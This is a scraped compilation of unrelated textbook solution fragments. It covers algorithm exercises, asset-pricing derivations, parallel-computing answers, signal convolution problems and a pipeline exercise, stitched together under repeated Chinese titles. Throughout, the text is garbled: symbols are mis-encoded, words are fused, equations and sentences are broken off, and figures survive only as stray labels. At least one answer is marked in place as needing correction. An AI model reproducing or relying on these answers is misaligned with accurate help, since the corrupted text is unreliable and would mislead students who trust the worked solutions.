dependence.Selected Solutions for Chapter5:Probabilistic Analysis and Randomized Algorithms5-3D n2!1 21 4:Thus the expected number of inverted pairs is n.n 1/=4.Solution to Exercise5.3-4P ERMUTE-B Y-C YCLIC chooses offset as a random integer in the range1offset n,and then it performs a cyclic rotation of the array.That is,BŒ..i C offset 1/mod n/C1 D AŒi for i D1;2;:::;n.(The subtractionand addition of1in the index calculation is due to the1-origin indexing.If wehad used0-origin indexing instead,the index calculation would have simplied toBŒ.i C offset/mod n D AŒi for i D0;1;:::;n 1.)Thus,once offset is determined,so is the entire permutation.Since each value ofoffset occurs with probability1=n,each element AŒi has a probability of endingup in position BŒj with probability1=n.This procedure does not produce a uniform random permutation,however,sinceit can produce only n different permutations.Thus,n permutations occur withprobability1=n,and the remaining nŠ n permutations occur with probability0.。

Asset Pricing的答案

Asset Pricing的答案
³ ´
E (Rmv ) − Rf 1 E (Rmv ) − Rf = − E (Rmv )2 Rf − E (Rmv2 )Rf Rf var(Rmv ) b = − a = 1 E (Rmv ) − Rf Rf var(Rmv ) 1 − bE (Rmv ). Rf
1 = f 1 + R

³
E (Rmv ) − Rf E (Rmv ) var(Rmv )
−δ t
dΛ = −δ Λdt + e
dΛ ucc ucl 1 uccc 2 1 ucll 2 uccl dc + dl + dc + dl + dcdl = −δ dt + Λ uc ucc 2 uc 2 uc l)
1 1 ucc dc + ucl dl + uccc dc2 + ucll dl2 + uccl dcdl 2 2
· ¸ · ¸ µ
0 u0 (ct+2 ) 2 u (ct+3 ) d dt+3 + ... + β t +2 u0 (ct+1 ) u0 (ct+1 )

The last term is not automatically zero. For example, if u0 (c) is a constant, then pt = β t or greater growth will lead to such a term. It also has an interesting economic interpretation. Even if there are no dividends, if the last term is present, it means the price today is driven entirely by the expectation that someone else will pay a higher price tomorrow. People think they see this behavior in “speculative bubbles” and some models of money work this way. The absence of the last term is a Þrst order condition for optimization of an inÞnitely-lived 0 P j u (ct+j ) consumer. If pt < (>) Et ∞ j =1 β u0 (ct ) dt+j , he can buy (sell) more of the asset, eat the dividends as they come, and increase utility. This lowers ct , increases ct+j , until the condition is Þlled. If markets are complete — if he can also buy and sell claims to the individual dividends — then he can do even more. For example, if pt >, then he can sell the asset, buy claims to each dividend, pay the dividend stream of the asset with the claims, and make a sure, instant proÞt. He does not have to wait forever. (Advocates of bubbles point out that you have to wait a long time to eat the dividend stream, but they often forget the opportunities for immediate arbitrage that a bubble can induce. The plausibility of bubbles relies on incomplete markets.) Bubble type solutions show up often in models with overlapping generations, no bequest motive, and incomplete markets. The OG gets rid of the individual Þrst order condition that removes bubbles, and the incomplete markets gets rid of the arbitrage opportunity. The possibility of bubbles Þgures in the evaluation of volatility tests. 8.

算法导论第三版答案

算法导论第三版答案
Solution to Exercise 2.3-5
Procedure BINARY-SEARCH takes a sorted array A, a value , and a range Œlow : : high of the array, in which we search for the value . The procedure compares to the array entry at the midpoint of the range and decides to eliminate half the range from further consideration. We give both iterative and recursive versions, each of which returns either an index i such that AŒi D , or NIL if no utions for Chapter 2: Getting Started
AŒlow : : high contains the value . The initial call to either version should have the parameters A; ; 1; n.
Selected Solutions for Chapter 2: Getting Started
2-3
d. We follow the hint and modify merge sort to count the number of inversions in ‚.n lg n/ time.
To start, let us define a merge-inversion as a situation within the execution of merge sort in which the MERGE procedure, after copying AŒp : : q to L and AŒq C 1 : : r to R, has values x in L and y in R such that x > y. Consider an inversion .i; j /, and let x D AŒi and y D AŒj , so that i < j and x > y. We claim that if we were to run merge sort, there would be exactly one mergeinversion involving x and y. To see why, observe that the only way in which array elements change their positions is within the MERGE procedure. Moreover, since MERGE keeps elements within L in the same relative order to each other, and correspondingly for R, the only way in which two elements can change their ordering relative to each other is for the greater one to appear in L and the lesser one to appear in R. Thus, there is at least one merge-inversion involving x and y. To see that there is exactly one such merge-inversion, observe that after any call of MERGE that involves both x and y, they are in the same sorted subarray and will therefore both appear in L or both appear in R in any given call thereafter. Thus, we have proven the claim.

计算机组成与设计 第五版答案_CH06_Solution

计算机组成与设计 第五版答案_CH06_Solution

Chapter 6 Solutions S-3 6.1 Th ere is no single right answer for this question. Th e purpose is to get studentsto think about parallelism present in their daily lives. Th e answer should have atleast 10 activities identifi ed.6.1.1 Any reasonable answer is correct here.6.1.2 Any reasonable answer is correct here.6.1.3 Any reasonable answer is correct here.6.1.4 Th e student is asked to quantify the savings due to parallelism. Th e answershould consider the amount of overlap provided through parallelism and should beless than or equal to (if no parallelism was possible) to the original time computedif each activity was carried out serially.6.26.2.1 For this set of resources, we can pipeline the preparation. We assume thatwe do not have to reheat the oven for each cake.Preheat OvenMix ingredients in bowl for Cake 1Fill cake pan with contents of bowl and bake Cake 1. Mix ingredients forCake 2 in bowl.Finish baking Cake 1. Empty cake pan. Fill cake pan with bowl contents forCake 2 and bake Cake 2. Mix ingredients in bowl for Cake 3.Finish baking Cake 2. Empty cake pan. Fill cake pan with bowl contents forCake 3 and bake Cake 3.Finish baking Cake 3. Empty cake pan.6.2.2 Now we have 3 bowls, 3 cake pans and 3 mixers. We will name them A, B,and C.Preheat OvenMix incredients in bowl A for Cake 1Fill cake pan A with contents of bowl A and bake for Cake 1. Mix ingredientsforCake 2 in bowl A.Finish baking Cake 1. Empty cake pan A. Fill cake pan A with contents ofbowl A for Cake 2. Mix ingredients in bowl A for Cake 3.Finishing baking Cake 2. Empty cake pan A. Fill cake pan A with contentsof bowl A for Cake 3.S-4 ChapterSolutions6Finish baking Cake 3. Empty cake pan A.Th e point here is that we cannot carry out any of these items in parallelbecause we either have one person doing the work, or we have limitedcapacity in our oven.6.2.3 Each step can be done in parallel for each cake. Th e time to bake 1 cake, 2cakes or 3 cakes is exactly the same.6.2.4 Th e loop computation is equivalent to the steps involved to make one cake.Given that we have multiple processors (or ovens and cooks), we can executeinstructions (or cook multiple cakes) in parallel. Th e instructions in the loop (orcooking steps) may have some dependencies on prior instructions (or cookingsteps) in the loop body (cooking a single cake).Data-level parallelism occurs when loop iterations are independent (i.e., noloop carried dependencies).Task-level parallelism includes any instructions that can be computed onparallel execution units, are similar to the independent operations involvedin making multiple cakes.6.36.3.1 While binary search has very good serial performance, it is diffi cult toparallelize without modifying the code. So part A asks to compute the speedupfactor, but increasing X beyond 2 or 3 should have no benefi ts. While we canperform the comparison of low and high on one core, the computation for midon a second core, and the comparison for A[mid] on a third core, without somerestructuring or speculative execution, we will not obtain any speedup. Th e answershould include a graph, showing that no speedup is obtained aft er the values of 1,2, or 3 (this value depends somewhat on the assumption made) for Y.6.3.2 In this question, we suggest that we can increase the number of cores (toeach the number of array elements). Again, given the current code, we really cannotobtain any benefi t from these extra cores. But if we create threads to compare theN elements to the value X and perform these in parallel, then we can get idealspeedup (Y times speedup), and the comparison can be completed in the amountof time to perform a single comparison.6.4. Th is problem illustrates that some computations can be done in parallelif serial code is restructured. But more importantly, we may want to provide forSIMD operations in our ISA, and allow for data-level parallelism when performingthe same operation on multiple data items.Chapter 6 Solutions S-5 6.4.1 Th is is a straightforward computation. Th e fi rst instruction is executedonce, and the loop body is executed 998 times.Version 1—17,965 cyclesVersion 2—22,955 cyclesVersion 3—20,959 cycles6.4.2 Array elements D[j] and D[jϪ1] will have loop carried dependencies. Th esewill $f4 in the current iteration and $f0 in the next iteration.6.4.3 Th is is a very challenging problem and there are many possibleimplementations for the solution. Th e preferred solution will try to utilize the twonodes by unrolling the loop 4 times (this already gives you a substantial speedupby eliminating many loop increment, branch and load instructions). Th e loopbody running on node 1 would look something like this (the code is not the mosteffi cient code sequence):addiu $s1, $zero, 996l.d $f0, –16($s0)l.d $f2, –8($s0)loop:add.d $f4, $f2, $f0add.d $f6, $f4, $f2Send (2, $f4)Send (2, $f6)s.d $f4, 0($s0)s.d $f6, 8($s0)Receive($f8)add.d $f10, $f8, $f6add.d $f0, $f10, $f8Send (2, $f10)Send (2, $f0)s.d. $f8, 16($s0)s.d $f10, 24($s0)s.d $f0 32($s0)Receive($f2)s.d $f2 40($s0)addiu $s0, $s0, 48bne $s0, $s1, loopadd.d $f4, $f2, $f0add.d $f6, $f4, $f2add.d $f10, $f8, $f6s.d $f4, 0($s0)s.d $f6, 8($s0)s.d $f8, 16($s0)S-6 Chapter6SolutionsTh e code on node 2 would look something like this:addiu $s2, $zero, 0loop:Receive ($f12)Receive ($f14)add.d $f16, $f14, $f12Send(1, $f16)Receive ($f12)Receive ($f14)add.d $f16, $f14, $f12Send(1, $f16)Receive ($f12)Receive ($f14)add.d $f16, $f14, $f12Send(1, $f16)Receive ($f12)Receive ($f14)add.d $f16, $f14, $f12Send(1, $f16)addiu $s2, $s2, 1bne $s2, 83, loopBasically Node 1 would compute 4 adds each loop iteration, and Node 2would compute 4 adds. Th e loop takes 1463 cycles, which is much better thanclose to 18K. But the unrolled loop would run faster given the current sendinstruction latency.6.4.4 Th e loop network would need to respond within a single cycle to obtain aspeedup. Th is illustrates why using distributed message passing is diffi cult whenloops contain loop-carried dependencies.6.56.5.1 Th is problem is again a divide and conquer problem, but utilizes recursionto produce a very compact piece of code. In part A the student is asked to computethe speedup when the number of cores is small. When forming the lists, we spawn athread for the computation of left in the MergeSort code, and spawn a thread for thecomputation of the right. If we consider this recursively, for m initial elements in thearray, we can utilize 1 ϩ 2 ϩ 4 ϩ 8 ϩ 16 ϩ …. log2(m) processors to obtain speedup.6.5.2 In this question, log2 (m) is the largest value of Y for which we can obtainany speedup without restructuring. But if we had m cores, we could perform sorting using a very diff erent algorithm. For instance, if we have greater than m/2 cores, we can compare all pairs of data elements, swap the elements if the left element is greater than the right element, and then repeat this step m times. So this is one possible answer for the question. It is known as parallel comparison sort. Various comparison sort algorithms include odd-even sort and cocktail sort.Chapter 6 Solutions S-76.66.6.1 Th is problem presents an “embarrassingly parallel” computationand asks the student to fi nd the speedup obtained on a 4-core system. Th ecomputations involved are: (m ϫ p ϫ n) multiplications and (m ϫ p ϫ(n Ϫ 1)) additions. Th e multiplications and additions associated with a singleelement in C are dependent (we cannot start summing up the results of themultiplications for an element until two products are available). So in this question,the speedup should be very close to 4.6.6.2 Th is question asks about how speedup is aff ected due to cache misses causedby the 4 cores all working on diff erent matrix elements that map to the same cacheline. Each update would incur the cost of a cache miss, and so will reduce thespeedup obtained by a factor of 3 times the cost of servicing a cache miss.6.6.3 In this question, we are asked how to fi x this problem. Th e easiest way tosolve the false sharing problem is to compute the elements in C by traversing thematrix across columns instead of rows (i.e., using index-j instead of index-i). Th eseelements will be mapped to diff erent cache lines. Th en we just need to make surewe process the matrix index that is computed ( i, j) and (i ϩ 1, j) on the same core.Th is will eliminate false sharing.6.76.7.1 x ϭ 2, y ϭ 2, w ϭ 1, z ϭ 0x ϭ 2, y ϭ 2, w ϭ 3, z ϭ 0x ϭ 2, y ϭ 2, w ϭ 5, z ϭ 0x ϭ 2, y ϭ 2, w ϭ 1, z ϭ 2x ϭ 2, y ϭ 2, w ϭ 3, z ϭ 2x ϭ 2, y ϭ 2, w ϭ 5, z ϭ 2x ϭ 2, y ϭ 2, w ϭ 1, z ϭ 4x ϭ 2, y ϭ 2, w ϭ 3, z ϭ 4x ϭ 3, y ϭ 2, w ϭ 5, z ϭ 46.7.2 We could set synchronization instructions aft er each operation so that allcores see the same value on all nodes.6.86.8.1 If every philosopher simultaneously picks up the left fork, then there will beno right fork to pick up. Th is will lead to starvation.S-8 ChapterSolutions66.8.2 Th e basic solution is that whenever a philosopher wants to eat, she checksboth forks. If they are free, then she eats. Otherwise, she waits until a neighborcontacts her. Whenever a philosopher fi nishes eating, she checks to see if herneighbors want to eat and are waiting. If so, then she releases the fork to one ofthem and lets them eat. Th e diffi culty is to fi rst be able to obtain both forks withoutanother philosopher interrupting the transition between checking and acquisition.We can implement this a number of ways, but a simple way is to accept requestsfor forks in a centralized queue, and give out forks based on the priority defi nedby being closest to the head of the queue. Th is provides both deadlock preventionand fairness.6.8.3 Th ere are a number or right answers here, but basically showing a casewhere the request of the head of the queue does not have the closest forks available,though there are forks available for other philosophers.6.8.4 By periodically repeating the request, the request will move to the head ofthe queue. Th is only partially solves the problem unless you can guarantee thatall philosophers eat for exactly the same amount of time, and can use this time toschedule the issuance of the repeated request.6.9A3B1, B4A1, A2B1, B4A1, A4B2A1B3A1A2A1A1B1B2B1A3A4B2B4Chapter 6 Solutions S-9A1B1A1B1A1B2A2B3A3B4A46.10 Th is is an open-ended question.6.116.11.1 Th e answer should include a MIPS program that includes 4 diff erentprocesses that will compute ¼ of the sums. Assuming that memory latency is notan issue, the program should get linear speed when run on the 4 processors (thereis no communication necessary between threads). If memory is being consideredin the answer, then the array blocking should consider preserving spatial locality sothat false sharing is not created.6.11.2 Since this program is highly data parallel and there are no datadependencies, a 8ϫ speedup should be observed. In terms of instructions, theSIMD machine should have fewer instructions (though this will depend upon theSIMD extensions).6.12 Th is is an open-ended question that could have many possible answers. Th ekey is that the student learns about MISD and compares it to an SIMD machine.6.13 Th is is an open-ended question that could have many answers. Th e key isthat the students learn about warps.6.14 Th is is an open-ended programming assignment. Th e code should be testedfor correctness.6.15 Th is question will require the students to research on the Internet both theAMD Fusion architecture and the Intel QuickPath technology. Th e key is thatstudents become aware of these technologies. Th e actual bandwidth and latencyvalues should be available right off the company websites, and will change as thetechnology evolves.6.166.16.1 For an n-cube of order N (2N nodes), the interconnection network cansustain NϪ1 broken links and still guarantee that there is a path to all nodes in thenetwork.6.16.2 Th e plot below shows the number of network links that can fail and stillguarantee that the network is not disconnected.S-10 Chapter 6Solutions11010010000100000Network order N u m b e r o f f a u l t y l i n k s6.176.17.1 Major diff erences between these suites include:Whetstone—designed for fl oating point performance specifi callyPARSEC—these workloads are focused on multithreaded programs6.17.2 Only the PARSEC benchmarks should be impacted by sharing and synchronization. Th is should not be a factor in Whetstone.6.186.18.1 Any reasonable C program that performs the transformation should be accepted.6.18.2 Th e storage space should be equal to (R ϩ R) times the size of a single precision fl oating point number ϩ (m + 1) times the size of the index, where R is the number of non-zero elements and m is the number of rows. We will assume each fl oating-point number is 4 bytes, and each index is a short unsigned integer that is 2 bytes. For Matrix X this equals 111 bytes.6.18.3 Th e answer should include results for both a brute-force and a computation using the Yale Sparse Matrix Format.6.18.4 Th ere are a number of more effi cient formats, but their impact should be marginal for the small matrices used in this problem.6.196.19.1 Th is question presents three diff erent CPU models to consider when executing the following code:if (X[i][j] > Y[i][j])count++;Chapter 6 Solutions S-11 6.19.2 Th ere are a number of acceptable answers here, but they should considerthe capabilities of each CPU and also its frequency. What follows is one possibleanswer:Since X and Y are FP numbers, we should utilize the vector processor (CPU C) toissue 2 loads, 8 matrix elements in parallel from A and 8 matrix elements from B,into a single vector register and then perform a vector subtract. We would thenissue 2 vector stores to put the result in memory.Since the vector processor does not have comparison instructions, we would haveCPU A perform 2 parallel conditional jumps based on fl oating point registers. Wewould increment two counts based on the conditional compare. Finally, we couldjust add the two counts for the entire matrix. We would not need to use core B.6.19.3 Th e point of the problem is to show that it is diffi cult to perform an operationon individual vector elements when utilizing a vector processor. What might be a niceinstruction to add would be a vector comparison that would allow for us to comparetwo vectors and produce a scalar value of the number of elements where one vectorwas larger the other. Th is would reduce the computation to a single instruction forthe comparison of 8 FP number pairs, and then an integer computation for summingup all of these values.6.20 Th is question looks at the amount of queuing that is occurring in the systemgiven a maximum transaction processing rate, and the latency observed on averageby a transaction. Th e latency includes both the service time (which is computed bythe maximum rate) and the queue time.6.20.1 So for a max transaction processing rate of 5000/sec, and we have 4 corescontributing, we would see an average latency of .8 ms if there was no queuingtaking place. Th us, each core must have 1.25 transactions either executing or insome amount of completion on average.So the answers are:1 ms5000/sec 1.252 ms5000/sec 2.51 ms10,000/sec 2.52 ms10,000/sec56.20.2 We should be able to double the maximum transaction rate by doublingthe number of cores.6.20.3 Th e reason this does not happen is due to memory contention on theshared memory system.。

英文版《信号与系统》第二章习题解答

英文版《信号与系统》第二章习题解答

c xt x0t 2 ht h0t 1 yt y0t 1
d xt x0 t ht h0t
yt
1
01
2
t
We have not enough information to determine the output
e xt x0 t ht h0 t
yt
x0 t h0 t
0
2
t
Information to determine the output yt
yt
a xt 2x0t ht h0t
2
yt 2 y0 t
0
2
t
b xt x0 t x0 t 2 ht h0 t yt y0 t y0 t 2
yt
1
0
2
4t
19Chapter 2来自Problems Solution
xt
1
(a) yt et ut x 2d
1 0
yt et 2u t 2x d
ht et2ut 2
ht
2t
b yt xt ht xt h1t
h1t 1 h1t 2 16
Chapter 2
Problems Solution
h1 t t e 2u 2 d t e 2d
discontinuities,what is the value of a?
Solution : xt
ht
1
1
0 1 t 0a t
yt
a
0 a 1 1+a t
5
Chapter 2
d yt dt
1
0 a 1 1+a t
-1
Problems Solution
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

Solution for Chapter 6
6.2(a) The pipeline execution diagram for the given code is shown below.
The description of activity in each stage during each cycle is the same as in part (a) of Problem
6.1, except that the previous contents of register R3 are read by the And instruction in cycle 4, but
the Compute stage uses the new value of 2020 that has been computed by the first Add instruction.
The differences with the solution for part (a) of Problem 6.1 are highlighted in italics in the partial table given below.
(b) The contents of each register during each cycle are described in the table below. The
differences with the equivalent table in part (b) of Problem 6.1 are highlighted in boldface.
The contents of RZ in cycle 4 and RY in cycle 5 are determined as follows:
2020 ^ 3A16 = 7E416 ^ 3A16 = 2416 = 52(应改为32)
6.13The instruction sequence consists of four memory-access instructions and four arithmetic
instructions.
Using the original order of instructions, there are two cases to consider for dispatching pairs of instructions in the superscalar processor.
Case 1: The processor imposes the restriction that two instructions being dispatched in the same cycle must be of distinct types to reduce the complexity at each execution unit. In the pipeline execution diagram below, memory-access instructions are denoted as M i and arithmetic
instructions are denoted as A j .
Case 2: The processor allows two instructions of the same type to be dispatched in the same cycle with more complex buffering at each execution unit. Simultaneously dispatched instructions of the same type are still handled with pipelining in their execution unit, so the completion of all activity requires the same number of cycles as the first case above.
Now, rather than preserving the original order of instructions, it is possible to interleave the
memory-access and arithmetic instructions in a revised instruction sequence. If such an
interleaved sequence is used, the pipeline execution diagram below shows that one less cycle is required to complete all activity.。

相关文档
最新文档